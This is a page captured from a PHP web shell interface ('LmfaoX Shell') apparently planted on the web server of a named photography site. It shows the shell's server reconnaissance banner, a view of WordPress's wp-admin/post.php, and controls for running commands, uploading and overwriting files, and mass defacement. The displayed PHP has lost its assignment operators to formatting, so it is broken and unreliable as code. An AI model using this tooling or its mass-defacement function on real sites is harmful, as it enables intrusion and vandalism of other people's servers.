ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:29.01 GB of 70.42 GB (41.2%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ natalyphoto.ru/ wp-admin/ - drwxr-xr-x

Directory:
Viewing file:     post.php (7.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once('./admin.php');

$parent_file 'edit.php';
$submenu_file 'edit.php';

wp_reset_vars(array('action''safe_mode''withcomments''posts''content''edited_post_title''comment_error''profile''trackback_url''excerpt''showcomments''commentstart''commentend''commentorder'));

if ( isset( 
$_GET['post'] ) )
     
$post_id $post_ID = (int) $_GET['post'];
elseif ( isset( 
$_POST['post_ID'] ) )
     
$post_id $post_ID = (int) $_POST['post_ID'];
else
     
$post_id $post_ID 0;

$post $post_type $post_type_object null;

if ( 
$post_id )
    
$post get_post$post_id );

if ( 
$post ) {
    
$post_type $post->post_type;
    
$post_type_object get_post_type_object$post_type );
}

/**
 * Redirect to previous page.
 *
 * @param int $post_id Optional. Post ID.
 */
function redirect_post($post_id '') {
    if ( isset(
$_POST['save']) || isset($_POST['publish']) ) {
        
$status get_post_status$post_id );

        if ( isset( 
$_POST['publish'] ) ) {
            switch ( 
$status ) {
                case 
'pending':
                    
$message 8;
                    break;
                case 
'future':
                    
$message 9;
                    break;
                default:
                    
$message 6;
            }
        } else {
                
$message 'draft' == $status 10 1;
        }

        
$location add_query_arg'message'$messageget_edit_post_link$post_id'url' ) );
    } elseif ( isset(
$_POST['addmeta']) && $_POST['addmeta'] ) {
        
$location add_query_arg'message'2wp_get_referer() );
        
$location explode('#'$location);
        
$location $location[0] . '#postcustom';
    } elseif ( isset(
$_POST['deletemeta']) && $_POST['deletemeta'] ) {
        
$location add_query_arg'message'3wp_get_referer() );
        
$location explode('#'$location);
        
$location $location[0] . '#postcustom';
    } elseif ( 
'post-quickpress-save-cont' == $_POST['action'] ) {
        
$location "post.php?action=edit&post=$post_id&message=7";
    } else {
        
$location add_query_arg'message'4get_edit_post_link$post_id'url' ) );
    }

    
wp_redirectapply_filters'redirect_post_location'$location$post_id ) );
    exit;
}

if ( isset( 
$_POST['deletepost'] ) )
    
$action 'delete';
elseif ( isset(
$_POST['wp-preview']) && 'dopreview' == $_POST['wp-preview'] )
    
$action 'preview';

$sendback wp_get_referer();
if ( ! 
$sendback ||
     
strpos$sendback'post.php' ) !== false ||
     
strpos$sendback'post-new.php' ) !== false ) {
    if ( 
'attachment' == $post_type ) {
        
$sendback admin_url'upload.php' );
    } else {
        
$sendback admin_url'edit.php' );
        
$sendback .= ( ! empty( $post_type ) ) ? '?post_type=' $post_type '';
    }
} else {
    
$sendback remove_query_arg( array('trashed''untrashed''deleted''ids'), $sendback );
}

switch(
$action) {
case 
'postajaxpost':
case 
'post':
case 
'post-quickpress-publish':
case 
'post-quickpress-save':
    
check_admin_referer('add-' $post_type);

    if ( 
'post-quickpress-publish' == $action )
        
$_POST['publish'] = 'publish'// tell write_post() to publish

    
if ( 'post-quickpress-publish' == $action || 'post-quickpress-save' == $action ) {
        
$_POST['comment_status'] = get_option('default_comment_status');
        
$_POST['ping_status'] = get_option('default_ping_status');
        
$post_id edit_post();
    } else {
        
$post_id 'postajaxpost' == $action edit_post() : write_post();
    }

    if ( 
=== strpos$action'post-quickpress' ) ) {
        
$_POST['post_ID'] = $post_id;
        
// output the quickpress dashboard widget
        
require_once(ABSPATH 'wp-admin/includes/dashboard.php');
        
wp_dashboard_quick_press();
        exit;
    }

    
redirect_post($post_id);
    exit();
    break;

case 
'edit':
    
$editing true;

    if ( empty( 
$post_id ) ) {
        
wp_redirectadmin_url('post.php') );
        exit();
    }

    
$p $post_id;

    if ( empty(
$post->ID) )
        
wp_die__('You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?') );

    if ( 
null == $post_type_object )
        
wp_die__('Unknown post type.') );

    if ( !
current_user_can($post_type_object->cap->edit_post$post_id) )
        
wp_die__('You are not allowed to edit this item.') );

    if ( 
'trash' == $post->post_status )
        
wp_die__('You can&#8217;t edit this item because it is in the Trash. Please restore it and try again.') );

    
$post_type $post->post_type;
    if ( 
'post' == $post_type ) {
        
$parent_file "edit.php";
        
$submenu_file "edit.php";
        
$post_new_file "post-new.php";
    } elseif ( 
'attachment' == $post_type ) {
        
$parent_file 'upload.php';
        
$submenu_file 'upload.php';
        
$post_new_file 'media-new.php';
    } else {
        if ( isset( 
$post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true )
            
$parent_file $post_type_object->show_in_menu;
        else
            
$parent_file "edit.php?post_type=$post_type";
        
$submenu_file "edit.php?post_type=$post_type";
        
$post_new_file "post-new.php?post_type=$post_type";
    }

    if ( 
$last wp_check_post_lock$post->ID ) ) {
        
add_action('admin_notices''_admin_notice_post_locked' );
    } else {
        
$active_post_lock wp_set_post_lock$post->ID );

        if ( 
'attachment' !== $post_type )
            
wp_enqueue_script('autosave');
    }

    
$title $post_type_object->labels->edit_item;
    
$post get_post($post_idOBJECT'edit');

    if ( 
post_type_supports($post_type'comments') ) {
        
wp_enqueue_script('admin-comments');
        
enqueue_comment_hotkeys_js();
    }

    include(
'./edit-form-advanced.php');

    break;

case 
'editattachment':
    
check_admin_referer('update-post_' $post_id);

    
// Don't let these be changed
    
unset($_POST['guid']);
    
$_POST['post_type'] = 'attachment';

    
// Update the thumbnail filename
    
$newmeta wp_get_attachment_metadata$post_idtrue );
    
$newmeta['thumb'] = $_POST['thumb'];

    
wp_update_attachment_metadata$post_id$newmeta );

case 
'editpost':
    
check_admin_referer('update-post_' $post_id);

    
$post_id edit_post();

    
redirect_post($post_id); // Send user on their way while we keep working

    
exit();
    break;

case 
'trash':
    
check_admin_referer('trash-post_' $post_id);

    
$post get_post($post_id);

    if ( !
current_user_can($post_type_object->cap->delete_post$post_id) )
        
wp_die__('You are not allowed to move this item to the Trash.') );

    if ( ! 
wp_trash_post($post_id) )
        
wp_die__('Error in moving to Trash.') );

    
wp_redirectadd_query_arg( array('trashed' => 1'ids' => $post_id), $sendback ) );
    exit();
    break;

case 
'untrash':
    
check_admin_referer('untrash-post_' $post_id);

    if ( !
current_user_can($post_type_object->cap->delete_post$post_id) )
        
wp_die__('You are not allowed to move this item out of the Trash.') );

    if ( ! 
wp_untrash_post($post_id) )
        
wp_die__('Error in restoring from Trash.') );

    
wp_redirectadd_query_arg('untrashed'1$sendback) );
    exit();
    break;

case 
'delete':
    
check_admin_referer('delete-post_' $post_id);

    if ( !
current_user_can($post_type_object->cap->delete_post$post_id) )
        
wp_die__('You are not allowed to delete this item.') );

    
$force = !EMPTY_TRASH_DAYS;
    if ( 
$post->post_type == 'attachment' ) {
        
$force = ( $force || !MEDIA_TRASH );
        if ( ! 
wp_delete_attachment($post_id$force) )
            
wp_die__('Error in deleting.') );
    } else {
        if ( !
wp_delete_post($post_id$force) )
            
wp_die__('Error in deleting.') );
    }

    
wp_redirectadd_query_arg('deleted'1$sendback) );
    exit();
    break;

case 
'preview':
    
check_admin_referer'autosave''autosavenonce' );

    
$url post_preview();

    
wp_redirect($url);
    exit();
    break;

default:
    
wp_redirectadmin_url('edit.php') );
    exit();
    break;
// end switch
include('./admin-footer.php');
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.384 seconds